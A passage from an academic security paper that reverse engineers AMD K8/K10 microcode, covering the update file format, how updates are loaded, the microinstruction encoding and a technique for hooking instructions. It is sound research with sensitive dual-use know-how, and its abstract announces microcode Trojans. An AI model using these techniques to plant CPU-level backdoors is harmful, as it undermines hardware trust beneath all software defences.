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Abstract
Microcode is an abstraction layer on top of the phys-

ical components of a CPU and present in most general-
purpose CPUs today. In addition to facilitate complex and
vast instruction sets, it also provides an update mechanism
that allows CPUs to be patched in-place without requiring
any special hardware. While it is well-known that CPUs
are regularly updated with this mechanism, very little is
known about its inner workings given that microcode and
the update mechanism are proprietary and have not been
throughly analyzed yet.

In this paper, we reverse engineer the microcode seman-
tics and inner workings of its update mechanism of con-
ventional COTS CPUs on the example of AMD’s K8 and
K10 microarchitectures. Furthermore, we demonstrate
how to develop custom microcode updates. We describe
the microcode semantics and additionally present a set of
microprograms that demonstrate the possibilities offered
by this technology. To this end, our microprograms range
from CPU-assisted instrumentation to microcoded Tro-
jans that can even be reached from within a web browser
and enable remote code execution and cryptographic im-
plementation attacks.

1 Introduction

Similar to complex software systems, bugs exist in vir-
tually any commercial Central Processing Unit (CPU)
and can imply severe consequences on system security,
e.g., privilege escalation [22, 36] or leakage of cryp-
tographic keys [11]. Errata sheets from embedded to
general-purpose processors list incorrect behavior with
accompanying workarounds to safeguard program exe-
cution [4, 29]. Such workarounds contain instructions
for developers on how these bugs can be bypassed or
mitigated, e.g., by means of recompilation [40] or bi-
nary re-translation [26]. However, these interim solutions
are not suited for complex design errors which require

hardware modifications [48]. Dedicated hardware units
to counter bugs are imperfect [36, 49] and involve non-
negligible hardware costs [8]. The infamous Pentium fdiv
bug [62] illustrated a clear economic need for field up-
dates after deployment in order to turn off defective parts
and patch erroneous behavior. Note that the implementa-
tion of a modern processor involves millions of lines of
HDL code [55] and verification of functional correctness
for such processors is still an unsolved problem [4, 29].

Since the 1970s, x86 processor manufacturers have
used microcode to decode complex instructions into series
of simplified microinstructions for reasons of efficiency
and diagnostics [43]. From a high-level perspective, mi-
crocode is an interpreter between the user-visible Com-
plex Instruction Set Computer (CISC) Instruction Set Ar-
chitecture (ISA) and internal hardware based on Reduced
Instruction Set Computer (RISC) paradigms [54]. Al-
though microcode was initially implemented in read-only
memory, manufacturers introduced an update mechanism
by means of a patch Random Access Memory (RAM).

Once erroneous CPU behavior is discovered, manu-
facturers publish a microcode update, which is loaded
through the BIOS/UEFI or operating system during the
boot process. Due to the volatility of the patch RAM, mi-
crocode updates are not persistent and have to be reloaded
after each processor reset. On the basis of microcode
updates, processor manufacturers obtain flexibility and
reduce costs of correcting erroneous behavior. Note that
both Intel and AMD deploy a microcode update mecha-
nism since Pentium Pro (P6) in 1995 [15, 30] and K7 in
1999 [2, 15], respectively. Unfortunately, CPU vendors
keep information about microcode secret. Publicly avail-
able documentation and patents merely state vague claims
about how real-world microcode might actually look like,
but provide little other insight.

Goals. In this paper, we focus on microcode in x86
CPUs and our goal is to answer the following research
questions:
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1. What is microcode and what is its role in x86 CPUs?

2. How does the microcode update mechanism work?

3. How can the proprietary microcode encoding be
reverse engineered in a structured, semi-automatic
way?

4. How do real-world systems profit from microcode
and how can malicious microcode be leveraged for
attacks?

In order to answer question (1), we emphasize that in-
formation regarding microcode is scattered among many
sources (often only in patents). Hence, an important part
of our work is dedicated to summarize this prerequisite
knowledge forming the foundation to answer the more
in-depth research questions. Furthermore, we tackle short-
comings of prior attempted security analyses of x86 mi-
crocode, which were not able to reverse engineer mi-
crocode [6, 15]. We develop a novel technique to reverse
engineer the encoding and thus answer question (2). After
we obtain a detailed understanding of the x86 microcode
for several CPU architectures, we can address question (3).
As a result, we obtain an understanding of the inner work-
ings of CPU updates and can even generate our own up-
dates. In particular, we focus on potential applications of
microprograms for both defensive and offensive purposes
to answer question (4). We demonstrate how a micropro-
gram can be utilized to instrument a binary executable on
the CPU layer and we also introduce different kinds of
backdoors that are enabled via microcode updates.

Our analysis focuses on the AMD K8/K10 microarchi-
tecture since these CPUs do not use cryptographic signa-
tures to verify the integrity and authenticity of microcode
updates. Note that Intel started to cryptographically sign
microcode updates in 1995 [15] and AMD started to de-
ploy strong cryptographic protection in 2011 [15]. We
assume that the underlying microcode update mechanism
is similar, but cannot analyze the microcode updates since
we cannot decrypt them.

Contributions. In summary, our main contributions in
this paper are as follows:

• In-depth Analysis of Microcode. We provide an
in-depth overview of the opaque role of microcode
in modern CPUs. In particular, we present the funda-
mental principles of microcode updates as deployed
by vendors to patch CPU defects and errors.

• Novel RE Technique. We introduce the first semi-
automatic reverse engineering technique to disclose
microcode encoding of general-purpose CPUs. Fur-
thermore, we describe the design and implementa-
tion of our framework that allows us to perform this
reverse engineering.

• Comprehensive Evaluation. We demonstrate the
efficacy of our technique on several Commercial Off-
The-Shelf (COTS) AMD x86 CPU architectures. We
provide the microcode encoding format and report
novel insights into AMD x86 CPU internals. Addi-
tionally, we present our hardware reverse engineer-
ing findings based on delayering actual CPUs.

• Proof-of-Concept Microprograms. We are the
first to present fully-fledged microprograms for x86
CPUs. Our carefully chosen microprograms high-
light benefits as well as severe consequences of un-
veiled microcode to real-world systems.

2 Related Work

Before presenting the results of our analysis process, we
briefly review existing literature on microprogramming
and related topics.

Microprogramming. Since Wilkes’ seminal work in
1951 [61], numerous works in academia as well as in-
dustry adopted and advanced microprogrammed CPU
designs. Diverse branches of research related to micro-
programming include higher-level microcode languages,
microcode compilers and tools, and microcode verifica-
tion [5, 43, 56]. Other major research areas focus on
optimization of microcode, i.e., minimizing execution
time and memory space [32]. In addition, several applica-
tions of microprogramming were developed [27] such as
diagnostics [41].

Since microcode of today’s x86 CPUs has not been
publicly documented yet, several works attempted a high-
level security analysis for CPUs from both Intel and
AMD [6, 15]. Even though these works reported the
workings of the microcode update mechanism, the pur-
pose of fields within the microcode update header, and
the presence of other metadata, none of the works was
able to reverse engineer the essential microcode encoding.
Hence, they were not able to build microcode updates on
their own.

We want to note that Arrigo Triulzi presented at
TROOPERS’15 and ’16 that he had been able to patch
the microcode of an AMD K8 microarchitecture [59, 60].
However, he did neither publish the details of his reverse
engineering nor the microcode encoding.

Imperfect CPU Design. Although microcode updates
can be leveraged to rectify some erroneous behavior, it
is not a panacea. Microcode updates are able to degrade
performance due to additional condition checks and they
cannot be applied in all cases. An infamous example is
AMD’s K7, where the microcode update mechanism itself
was defective [2, 15]. In order to tackle these shortcom-
ings, diverse techniques have been proposed including dy-
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namic instruction stream editing [16], field-programmable
hardware [49], and hardware checks [8, 36].

Trusted Hardware. The security of applications and
operating systems builds on top of the security of the un-
derlying hardware. Typically software is not designed to
be executed on untrusted or potentially malicious hard-
ware [11, 20, 22]. Once hardware behaves erroneously
(regardless of whether deliberately or not), software se-
curity mechanisms can be invalidated. Numerous secure
processors have been proposed over the years [18, 23, 37].
Commercially available examples include technologies
such as Intel SGX [17] and AMD Pacifica [3].

However, the periodicity of security-critical faults [4,
29] and undocumented debug features [22] in closed-
source CPU architectures challenges their trustworthi-
ness [17, 45].

3 Microcode

As noted earlier, microcode can be seen as an abstraction
layer on top of the physical components of a CPU. In
this section, we provide a general overview of the mecha-
nisms behind microcode and also cover details about the
microcode structure and update mechanism.

3.1 Overview
The ISA provides a consistent interface to software and
defines instructions, registers, memory access, I/O, and
interrupt handling. This paper focuses on the x86 ISA,
and to avoid confusion, we refer to x86 instructions as
macroinstructions. The microarchitecture describes how
the manufacturer leveraged processor design techniques
to implement the ISA, i.e., cache size, number of pipeline
stages, and placement of cells on the die. From a high-
level perspective, the internal components of a processor
can be subdivided into data path and control unit. The data
path is a collection of functional units such as registers,
data buses, and Arithmetic Logic Unit (ALU). The con-
trol unit contains the Program Counter (PC), the Instruc-
tion Register (IR) and the Instruction Decode Unit (IDU).
The control unit operates diverse functional units in order
to drive program execution. More precisely, the control
unit translates each macroinstruction to a sequence of
actions, i.e., retrieve data from a register, perform a cer-
tain ALU operation, and then write back the result. The
control signal is the collection of electrical impulses the
control unit sends to the different functional unit in one
clock cycle. The functional units produce status signals
indicating their current state, i.e., whether the last ALU
operation equals zero, and report this feedback to the con-
trol unit. Based on the status signals, the control unit may
alter program execution, i.e., a conditional jump is taken
if the zero flag is set.

The IDU plays a central role within the control unit and
generates control signals based on the contents of the in-
struction register. We distinguish between two IDU imple-
mentation concepts: (1) hardwired and (2) microcoded.

Hardwired Decode Unit. A hardwired decode unit is
implemented through sequential logic, typically a Finite
State Machine (FSM), to generate the instruction-specific
sequence of actions. Hence, it provides high efficiency
in terms of speed. However, for complex ISAs the lack
of hierarchy in an FSM and state explosion pose chal-
lenging problems during the design and test phases [50].
Hardwired decode units inhibit flexible changes in the
late design process, i.e., correcting bugs that occurred
during test and verification, because the previous phases
have to be repeated. Furthermore, post-manufacturing
changes (to correct bugs) require modification of the hard-
ware, which is not (economically) viable for deployed
CPUs [62]. Hence, hardwired decode units are suited for
simple ISAs such as RISC processors like SPARC and
MIPS.

Microcoded Decode Unit. In contrast to the hard-
wired approach, the microcoded IDU does not generate
the control signals on-the-fly, but rather replays precom-
puted control words. We refer to one control word as
microinstruction. A microinstruction contains all con-
trol information required to operate all involved func-
tional units for one clock cycle. We refer to a plurality
of microinstructions as microcode. Microinstructions are
fetched from the microcode storage, often implemented
as on-chip Read-Only Memory (ROM). The opcode bytes
of the currently decoded macroinstruction are leveraged
to generate an initial address, which serves as the en-
try point into microcode storage. Each microinstruction
is followed by a sequence word, which contains the ad-
dress to the next microinstruction. The sequence word
may also indicate that the decoding process of the cur-
rent macroinstruction is complete. It should be noted that
one macroinstruction often issues more than one microin-
struction. The microcode sequencer operates the whole
decoding process, successively selecting microinstruc-
tions until the decode complete indicator comes up. The
microcode sequencer also handles conditional microcode
branches supported by some microarchitectures. Precom-
puting and storing control words introduces flexibility:
Changes, patches, and adding new instructions can be
moved to the late stages of the design process. The design
process is simplified because changes in decode logic
only require adaption of the microcode ROM content. On
the downside, decoding latency increases due to ROM
fetch and multistage decode logic. A microcoded IDU is
the prevalent choice for commercial CISC processors.
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3.2 Microcode Structure

Two common principles exist to pack control signals
into microinstructions. This choice greatly influences
the whole microarchitecture and has a huge impact on the
size of microcode programs.

Horizontal Encoding. The horizontal encoding desig-
nates one bit position in the microinstruction for each con-
trol signal of all functional units. For the sake of simple
logic and speed, no further encoding or compression is ap-
plied. This results in broad control words, even for small
processors. The historical IBM System/360 M50 pro-
cessor with horizontally-encoded microcode used 85-bit
control words [53]. The nature of horizontal microcode
allows the programmer to explicitly address several func-
tional units at the same time to launch parallel computa-
tions, thus using the units efficiently. One disadvantage is
the rather large microcode ROM due to the long control
words.

Vertical Encoding. Vertically encoded microcode may
look like a common RISC instruction set. The microin-
struction usually contains an opcode field that selects the
operation to be performed and additional operand fields.
The operand fields may vary in number and size depend-
ing on the opcode and specific flag fields. Bit positions
can be reused efficiently, thus the microinstructions are
more compact. The lack of explicit parallelism simplifies
the implementation of microcode programs, but may im-
pact performance. One encoded operation may activate
multiple control signals to potentially several functional
units. Hence, another level of decoding is required. The
microcode instruction set and encoding should be cho-
sen carefully to keep the second-level decoding overhead
minimal.

3.3 Microcode Updates

One particular benefit of microcoded microarchitectures
is the capability to install changes and bug fixes in the late
design process. This advantage can be extended even fur-
ther: With the introduction of microcode updates, one can
alter processor behavior even after production. Manufac-
turers leverage microcode patches for debugging purposes
and fixing processor errata. The well-known fdiv bug [62],
which affected Intel Pentium processors in 1994, raised
awareness that similarly to software, complex hardware is
error-prone, too. This arguably motivated manufacturers
to drive forward the development of microcode update
mechanisms. Typically, a microcode patch is uploaded
to the CPU by the motherboard firmware (e.g., BIOS
or UEFI) or the operating system during the early boot
process. Microcode updates are stored in low-latency,
volatile, on-chip RAM. Consequently, microcode patches
are not persistent. Usually, the microcode patch RAM

is fairly limited in size compared to microcode ROM.
A microcode patch contains a number of microinstruc-
tions, sequence words, and triggers. Triggers represent
conditions upon which the control is transferred from
microcode ROM to patch RAM. In a typical use case,
the microcode patch intercepts the ROM entry point of
a macroinstruction. During instruction decode, the mi-
crocode sequencer checks the triggers and redirects con-
trol to the patch RAM if needed. A typical microcode
program residing in patch RAM then may, for example,
sanitize input data in the operands and transfer control
back to the microcode ROM.

4 Reverse Engineering Microcode

In this section, we provide an overview of the AMD K8
and K10 microarchitecture families and describe our re-
verse engineering approach. Furthermore, we present our
analysis setup and framework that includes prototype im-
plementations of our concepts and supported our reverse
engineering effort in a semi-automated way.

Our analysis primarily covers AMD K8 and K10 pro-
cessors because—to the best of our knowledge—they are
the only commercially available, modern x86 microar-
chitectures lacking strong cryptographic protection of
microcode patches.

4.1 AMD K8 and K10
AMD released new versions of its K8 and K10 processors
from 2003 to 2008 and 2008 to 2013, respectively. Note
that the actual production dates may vary and in 2013 only
two low-end CPU models with K10 architecture were
released. K9 is the K8’s dual-core successor, hence the
difference is marginal from our point of view. Family 11h
and 12h are adapted K10 microarchitectures for mobile
platforms and APUs.

All of theses microarchitectures include a microcoded
IDU. The x86 instruction set is subdivided into direct
path and vector path macroinstructions. The former
mainly represent the frequently used, performance crit-
ical macroinstructions (e.g., arithmetic and logical op-
erations) that are decoded by hardware into up to three
microinstructions. The latter are uncommon or complex,
and require decoding by the microcode sequencer and
microcode ROM. Vector path macroinstructions may pro-
duce many microinstructions. During execution of the
microcode sequencer, hardware decoding is paused. The
microcode is structured in triads of three 64-bit microin-
structions and one 32-bit sequence word [15]. An ex-
ample microinstruction set is described in AMD’s patent
RISC86 [24] from 2002. The sequence word may contain
the address of the next triad or indicate that decoding
is complete. The microcode ROM is addressed in steps
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whose length is a triad. An example address space rang-
ing from 0x0 to 0xbff thus contains 3,072 triads. The
microcode is responsible for the decoding of vector path
macroinstructions and handling of exceptions, such as
page faults and divide-by-zero errors.

4.2 Update Mechanism

The K7, released in 1999, was AMD’s first microarchitec-
ture supporting microcode updates. The update mecha-
nism did not change throughout to the 12h family. AMD
kept the update feature secret until it was exposed along
with three K8 microcode patches in 2004. The patches
and the update mechanism were reverse engineered from
BIOS updates [6]. The microcode updates are stored
in a proprietary file format, although pieces of informa-
tion have been reverse engineered [6, 15]. With the K10
microarchitecture, AMD started to publicly release mi-
crocode updates, which benefits the Linux open-source
microcode update driver. Our view of the file format is
depicted in Table 1 including the header with checksum
and number of triads, match register fields, and triads.
It should be noted that triads in microcode updates are
obfuscated with an algorithm we do not specify further
due to ethical considerations.

B↓ Bit→ 0 31 32 63
0 date patch ID
8 patch block len init checksum
16 northbridge ID southbridge ID
24 CPUID magic value
32 match register 0 match register 1
40 match register 2 match register 3
48 match register 4 match register 5
54 match register 6 match register 7
64 triad 0, microinstruction 0
72 triad 0, microinstruction 1
80 triad 0, microinstruction 2
88 triad 0, sequence word triad 1 ...

Table 1: Microcode update file format.

Microcode Update Procedure. The microcode up-
date binary is uploaded to the CPU in the following way:
First, the patch must be placed in accessible virtual ad-
dress space. Then the 64-bit virtual address must be
written to Model-Specific Register (MSR) 0xc0010020.
Depending on the update size and microarchitecture, the
wrmsr instruction initiating the update may take around
5,000 cycles to complete. Rejection of a patch causes
a general protection fault. Internally, the update mecha-
nism verifies the checksum, copies the triads to microcode
patch RAM, and stores the match register fields in the
actual match registers. Patch RAM is mapped into the
address space of the microcode ROM, whereby the patch
triads directly follow the read-only triads.

Match Registers. The match registers are an integral
part of the update mechanism. They hold a microcode
ROM address, intercept the triad stored at that location,
and redirect control to the triad in patch RAM at the
offset match register index · 2. The shared address space
enables microcode in the patch RAM to jump back to
microcode ROM, e.g., to reuse existing triads. Due to the
complexity of the microcode update procedure we assume
it is implemented in microcode itself. We summarize
our understanding of the microcode update mechanism
in Figure 1. AMD’s patent [39] from 2002 describes an
example microcode patch device and provides an idea of
how the internals work.

Figure 1: Overview ofthe AMD microcode update mech-
anism.

4.3 Reverse Engineering Methods
Based on our insights into microcode and its update mech-
anism, we now detail our novel method used to reverse
engineer the microcode encoding. More precisely, we
employ a (1) low-noise environment as a foundation for
the novel (2) microcode ROM heat map generation, and
(3) the microcode encoding reverse engineering. Further-
more, we present (4) microcode hooking which ultimately
enables actual modification of CPU behavior.

We would like to emphasize that our methods were
developed when we did not have access to microcode
ROM, see Section 6.

Low-Noise Environment. Since we did not have ac-
cess to CPU internals, we had to be able to apply our
crafted microcode updates and carefully analyze the mod-
ified CPU’s behavior (e.g., register values and memory
locations). To pinpoint exactly where the changes caused
effects (down to a single macroinstruction), we had to
eliminate any noise from parallel or operating system
code executions out of our control. For example, com-
mon operating systems implement task switching or fully
symmetric multiprocessing, which is undesirable in our
setting. This code execution is capable of triggering ab-
normal behavior (because of our microcode update) and
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then most likely causes a system crash. Hence, we require
a low-noise environment where we have full control of all
code to realize accurate observation of the CPU state and
behavior.

Microcode ROM Heat Maps. As described in Sec-
tion 4.2, match registers hold microcode ROM addresses.
Since we did not know which microcode ROM addresses
belong to which macroinstructions, we were not able to
change the behavior for a specific microcoded macroin-
struction. Hence, we devised microcode ROM heat maps,
a method to discover the corresponding memory location
for microcoded macroinstructions.

The underlying idea is to generate distinct behavior
between the original and the patched macroinstruction ex-
ecution. More precisely, the patch contains a microcode
instruction that always crashes on execution. Thereby,
we generate a heat map for each macroinstruction in an
automated way: we store whether the microcode ROM
address causes a system crash or not. The comparison
between original and patched execution reveals which
microcode ROM addresses correspond to the macroin-
struction. We further automatically processed all heat
maps to exclude common parts among all macroinstruc-
tions.

Microcode Encoding Reverse Engineering. Based
on our automatically generated heat maps, we were able
to tamper with a specific microcoded macroinstruction.
However, we could not meaningfully alter an instruction
because of its proprietary encoding. Hence, we devel-
oped a novel technique to reverse engineer proprietary
microcode encoding in a semi-automatic way.

Since we did not have a large microcode update base
on which we could perform fine-grained tests, we merely
had a black box model of the CPU. However, since mi-
croinstructions control ALU and register file accesses, we
formed various general assumptions about the instruction
fields, which can be systematically tested using semi-
automatic tests (e.g., opcode, immediate value, source
and destination register fields).

In order to reverse engineer the encoding, we applied a
two-tiered approach. First, we identified fields by means
of bits that cause similar behavior, i.e., change of used reg-
isters, opcode, and immediate value. Second, we exhaus-
tively brute-forced each field to identify all addressable
values. Since corresponding fields are small (< 10 bits),
we combined the results together and gradually formed
a model of the encoding. Note that through detailed ex-
ception reporting and paging, we were able to gather
detailed information on why a specific microinstruction
caused a crash. Earlier in the reverse engineering process,
we set the three microinstructions in a triad to the same
value to avoid side effects from other unknown microin-
structions. Once we had a better understanding of the
encoding, we padded the triad with no-operation microin-

structions. Later in the reverse engineering process, we
designed tests that reuse microinstructions from existing
microcode updates. For that method to be successful, a
good understanding of the operand fields was required as
most of these microinstructions operate on internal reg-
isters. We had to rewrite the register fields to be able to
directly observe the effect of the microinstruction. Fur-
thermore, we designed automated tests that identified set
bits in unknown fields of existing microinstructions and
permuted the affected bit locations in order to provoke
observable differences in behavior that can be analyzed.

Microcode Hooks. After reverse engineering the mi-
crocode encoding, we can arbitrarily change CPU be-
havior for any microcoded macroinstruction and inter-
cept control for any microcode ROM address. Note that
we intercepted a macroinstruction at the entry point mi-
crocode ROM address. In order to realize a fully-fledged
microcode hook mechanism, we have to correctly pass
back control after interception through our microcode up-
date. This is indispensable in case macroinstructions are
extended with functionality, such as a conditional operand
check, while preserving original functionality.

We employed two basic concepts to resume macroin-
struction computation after interception: (1) pass control
back to ROM, and (2) implement the macroinstruction
computation. Note that we implemented both resume
strategies, see Section 7.

4.4 Framework

One fundamental requirement for our framework was
automated testing. Combined with the fact that microcode
updates potentially reset or halt the entire machine, it
became apparent that another controller computer was
needed. In the following, we describe both our hardware
setup and our framework implementation.

Hardware Setup. From a high-level point of view, the
hardware setup consists of multiple nodes and several de-
velopment machines. Each node represents one minimal
computer with an AMD CPU that runs our low-noise envi-
ronment and is connected to a Raspberry Pi via serial bus.
To enable monitoring and control, the mainboard’s power
and reset switch as well as the power supply’s +3.3V are
connected to GPIO ports. The Raspberry Pis run Linux
and can be remotely controlled from the Internet. The
development machines are used to design test cases and
extend the microcode API. Furthermore, test cases can be
launched from the development machines. This process
automatically transfers the test case and the latest API
version to the desired nodes, which then autonomously
execute the test case and store the results. Our test setup
consists of three nodes with K8 Sempron 3100+ (2004),
K10 Athlon II X2 260 (2010), and K10 Athlon II X2 280
(2013) processors.
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Low-Noise Environment. To fulfil our unusual re-
quirements regarding the execution environment (e.g.,
full control over interrupts and all code being executed),
we implemented a simple operating system from scratch.
It supports interrupt and exception handling, virtual mem-
ory, paging, serial connection, microcode updates, and
execution of streamed machine code. The streamed ma-
chine code serves the purpose of bringing the CPU to the
desired initial state, executing arbitrary macroinstructions,
and observing the final state of the CPU. We leveraged
this feature primarily to execute vector path instructions
intercepted by a microcode patch. This way, we can
infer the effects of triads, single microinstructions, and
the sequence word. Note that only the final state can be
observed in case no exception occurs.

We implemented interrupt and exception handling in
order to observe the intermediate state of the CPU and
the exception code such as general protection faults. The
error state includes the faulting program counter and stack
pointer as well as the x86 general-purpose registers. We
refined the preciseness of the error reporting by imple-
menting virtual memory and paging support. All excep-
tions related to memory accesses raise page faults with
additional information such as the faulting address and ac-
tion. This information, paired with the information about
the faulting program counter, allows us to distinguish be-
tween invalid read, write, and execution situations. We
also used the exception code and observed the interme-
diate state to infer the effects of microcode. A custom
message protocol exposes the following operating system
features via serial connection: (1) stream x86 machine
code, (2) send and apply microcode update, and (3) report
back the final or intermediate CPU state. Some of the
test processors support x86 64 long mode, which lets the
CPU access 64-bit instructions and registers. However,
our operating system runs in 32-bit protected mode.

Microcode API. Our controller software is imple-
mented in Python and runs on the Raspberry Pis. It pro-
cesses test cases in an automated fashion and makes heavy
use of the microcode API. Test cases contain an initial
CPU state, arbitrary x86 instructions, the final CPU state,
and an exception information filter plus a logger as well as
a high-level microcode patch description. The microcode
patch is generated with the high-level microcode patch
information that includes header fields, match register
values, and microcode in the form of bit vectors, Register
Transfer Level (RTL) machine language, or a mix. Test
cases incorporating automation must specify at least one
property that will be altered systematically. For example,
a test case that aims to iteratively intercept all triads in
microcode ROM may increment the match register value
in each pass. Another test case that attempts to infer con-
ditional behavior of microcode may alter streamed x86
machine code in order to induce different x86 eflags regis-

ter values and at the same time permute the bit vector of an
unknown field within a microinstruction. The microcode
API exposes all required underlying features such as serial
connection handling, serial message protocol, AMD com-
puter power state monitoring and control, x86 assembler,
parsing and generation of microcode updates, obfusca-
tion and deobfuscation of microcode updates, microcode
assembler and disassembler as well as required data struc-
tures. The framework runs through 190 test iterations per
minute and node in case there are no faults. One fault
adds a delay of 12 seconds due to the reboot.

5 Microcode Specification

In this section we present the results of our reverse engi-
neering effort such as heat maps, a detailed description
of the microcode instruction set, and intercepting x86 in-
structions. Furthermore, we present our microcode RTL.

DISCLAIMER. It should be noted that our results origi-
nate from reverse engineering include and indirectly mea-
sured behavior, assumptions about the microarchitecture,
and interpretation of the visible CPU state, which is small
in comparison to the whole unobservable CPU state. Thus,
we cannot guarantee that our findings are intended behav-
ior of AMD’s microcode engine.

5.1 Heat Maps
A heat map of a specific macroinstruction contains a map-
ping of all microcode ROM addresses to a boolean value
that indicates whether the specified triad is executed dur-
ing the decode sequence of that macroinstruction. During
the test cycle, our operating system executes vector in-
structions such as call and ret. We name a heat map
that only covers vector instructions from the operating
system reference heat map. In order to obtain a clean heat
map for a vector instruction, the reference heat map must
be subtracted from the instruction’s raw heat map. For
the interested reader we present a truncated, combined
K10 heat map in Table 4 in Appendix A.1. The heat maps
represent a fundamental milestone of our reverse engi-
neering effort. They indicate microcode ROM locations
to intercept macroinstructions and help infer logic from
triads. We designed test cases for all vector path instruc-
tions, which then generated clean heat maps in a fully
automated way.

5.2 Microcode Instruction Set
The microinstruction set presented in AMD’s patent
RISC86 [24] gave us a general understanding and valu-
able hints. However, we found that almost all details such
as microinstruction length, operand fields, operations, and
encoding differ. Furthermore, we could not confirm that
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single microinstructions can be addressed, which would
result in the preceding microinstructions of the triad be-
ing ignored. Instead, we found that only entire triads are
addressable. In the following, we reuse terminology from
the patent where appropriate. Unless stated otherwise,
all information given afterwards was obtained through
reverse engineering.

We found four operation classes, namely RegOp, LdOp,
StOp, and SpecOp, that are used for arithmetic and logic
operations, memory reads, memory writes, and special
operations such as write program counter, respectively.
The structure of the four operation classes is shown in
Table 2. The different operation classes can be distin-
guished by the op class field at bit locations 37 to 39.
RegOp and SpecOp share the same op class field encod-
ing but have disjunct encodings for the operation type
field. The unlabeled fields indicate unused or unknown
bit locations. RegOp supports operation types such as
arithmetic, comparators, and logic operations. The mul
and imul operation types must be the first microinstruc-
tion within a triad in order to work. SpecOp enables
to write the x86 program counter and to conditionally
branch to microcode. If the conditional branch is taken,
the microcode sequencer continues decoding at the given
address. In case the conditional branch is not taken, the
sequence word determines further execution. The con-
dition to be evaluated is encoded in the 4 high bits of
the 5-bit cc field. Bit 0 of the cc field inverts the con-
dition if set. The available condition encodings match
the ones given in patent RISC86 [24], p. 37. The write-
program-counter SpecOp must be placed third within a
triad in order to work. We found that LdOp and StOp
have their own operation types. Our collection of oper-
ation types is incomplete, because it was impossible to
observe the internal state of the CPU. We show encoding
details for the operation types we found in the Appendix
in Table 5. The fields reg1, reg2 and reg3 encode the
microcode registers. In addition to the general-purpose
registers, microcode can access a number of internal regis-
ters. Their content is only stored until the microinstruction
has been decoded. The special pcd register is read-only
and contains the address of the next macroinstruction to
decode. This is valuable information to implement rela-
tive x86 jumps in microcode. The microarchitecture also
contains a microcode substitution engine, which automat-
ically replaces operand fields in the microinstruction with
operands from the macroinstruction. The first two x86
operands can be accessed in microcode with the register
encodings regmd and regd. We refer to Table 6 in the
Appendix for encoding details of the microcode registers.
We did not find the substitution mechanism for imme-
diate values encoded in the macroinstruction. To solve
this issue, we read the x86 instruction bytes from main
memory and extract the immediate. The sw field swaps

source and destination registers. The 3o field enables
the three operand mode and allows RegOp microinstruc-
tions of the form reg2:= reg1 op reg3/imm. The flags
field decides whether the resulting flags of the current
RegOp microinstruction should be committed to the x86
flags register. The rmod field switches between reg3 and
a 16-bit immediate value. The sequence word, see Ta-
ble 3, contains an action field at bit locations 14 to 16 that
may indicate a branch to the triad at the given address,
a branch to the following triad, or stop decoding of the
current macroinstruction. Our disassembler has a cover-
age of approximately 40% of the instructions contained
in existing microcode patches. However, we ignored bits
in unknown fields of recognised microinstructions whose
meaning we could not determine. We designed automated
test cases that, e.g., permute the bits of an unknown mi-
croinstruction field to provoke observable differences in
the final CPU state. Our result filter discarded outputs
that match the expected CPU state. We then manually in-
spected the remaining interesting CPU states and inferred
the meaning of the new encoding.

5.3 Intercepting x86 Instructions

Currently, we can only intercept vector instructions by
writing related triad addresses from the heat maps into the
match registers. We are uncertain whether a mechanism
for hooking direct path instructions exists. It is relatively
simple to replace the logic of a vector path instruction;
however, it appeared challenging to add logic, because
the original semantics must be preserved. To solve this
issue, we leverage the two microcode hook concepts from
Section 4.3. In the following we describe in detail the
practical application of both concepts. (1) After executing
the added logic, we jump back to microcode ROM. (2)
After execution of the added logic we implement the
semantics of the macroinstruction in microcode ourselves
and indicate sequence complete in the last triad. This
way, we successfully hooked shrd and imul vector path
instructions.

We also successfully intercepted the div instruction
using the first method. One fundamental limitation of
hooking with match registers is that one cannot jump
back to the intercepted triad, because the match register
would redirect control again, essentially creating an end-
less loop. We are not aware of a feature to temporarily
ignore a match register. Thus we need to intercept a negli-
gible triad and, after execution of our logic, jump back to
the subsequent triad, essentially skipping one triad. We
inferred the observable part of the logic of div heat map
triads. We proceeded by iteratively branching directly
to the triads with a known CPU state with a match reg-
ister hook set to the following triad. With this method
we found one triad we can skip without visibly changing
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Index 63 62 54 53 52 51 46 45 40 39 37 36 30 29 24 23 22 16 15 0
RegOp - type sw 3o reg1 - flags - 000 - size reg2 rmod - imm16/reg3
LdOp - type sw 3o reg1 - 001 - reg2 rmod - imm16/reg3
StOp - type sw 3o reg1 - 010 - size reg2 rmod - imm16/reg3
SpecOp - type cc sw 3o reg1 - 000 - size reg2 - imm16/addr12

Table 2: The four operation classes and their microinstruction encoding.

Index 31 17 16 14 13 12 11 0
next triad - 000 -
branch - 010 - address
complete - 110 -

Table 3: Sequence word encoding.

the result. Specifically, we can intercept triad 0x7e5 per
match register, induce the desired behavior, and finally
jump back to address 0x7e6 via sequence word. It should
be noted that the hook is in the middle of the calculation.
Thus the source and destination general-purpose registers
as well as some internal microcode registers hold interme-
diate results, which need to be preserved if the correctness
of the final result matters.

5.4 Microcode RTL

We developed a microcode register transfer language
based on the syntax of Intel x86 assembly language, be-
cause for the implementation of microprograms it is im-
practical to manually assemble bit vectors. In the follow-
ing, we show a template for a typical microinstruction in
our microcode RTL:

insn op1, op2[, op3]

The insn field defines the operation. It is followed by
one to three operands of which the first one is always the
destination and only the last one may be an immediate.
In two-operand mode, the first operand is the destination
and the source. There are dedicated load and store instruc-
tions. Memory addressing currently supports only one
register, i.e., ld eax, [ebx]. The size of arithmetic oper-
ations is implicitly specified by the destination operand’s
size. Memory reads always fetch a whole native system
word, and the size of memory writes is specified by the
source operand’s size. The conditional microcode branch
encodes the condition in the first operand and the branch
target in the second operand, i.e. jcc nZF, 0xfe5. The
assembler automatically resolves constraints such as mul
must be placed first in a triad and write-program-counter
must be placed last. Strictly speaking the sequence words
are not instructions, thus we cover them by directives such
as .sw complete and .sw branch 0x7e6. The branch to
next triad sequence words are added implicitly.

6 Hardware Analysis

In addition to the black box microcode reverse engineer-
ing presented in the previous section, we analyzed the
CPU’s hardware in a parallel approach. The goal of hard-
ware analysis was to read and analyze the non-volatile
microcode ROM to support reverse engineering of the mi-
crocode encoding. Furthermore, this allows us to analyze
the actual implementation of microcoded macroinstruc-
tions.

Our chosen Device Under Test (DUT) is a Sempron
3100+ (SDA3100AIP3AX) with a 130nm technology size,
since it features the largest size of the target CPU fam-
ily (which facilitates our analysis). Note that the larger
technology size allows for additional tolerance margins
in both the delayering and the imaging of the individual
structures. Similar to any common microcontroller or
CPU, the DUT is built using a CMOS process with mul-
tiple layers. In contrast to traditional microcontrollers,
general-purpose x86 CPUs feature a much larger die size
and are stacked up to 12 layers, which increases hardware
reverse engineering effort.

We expected the targeted non-volatile microcode ROM
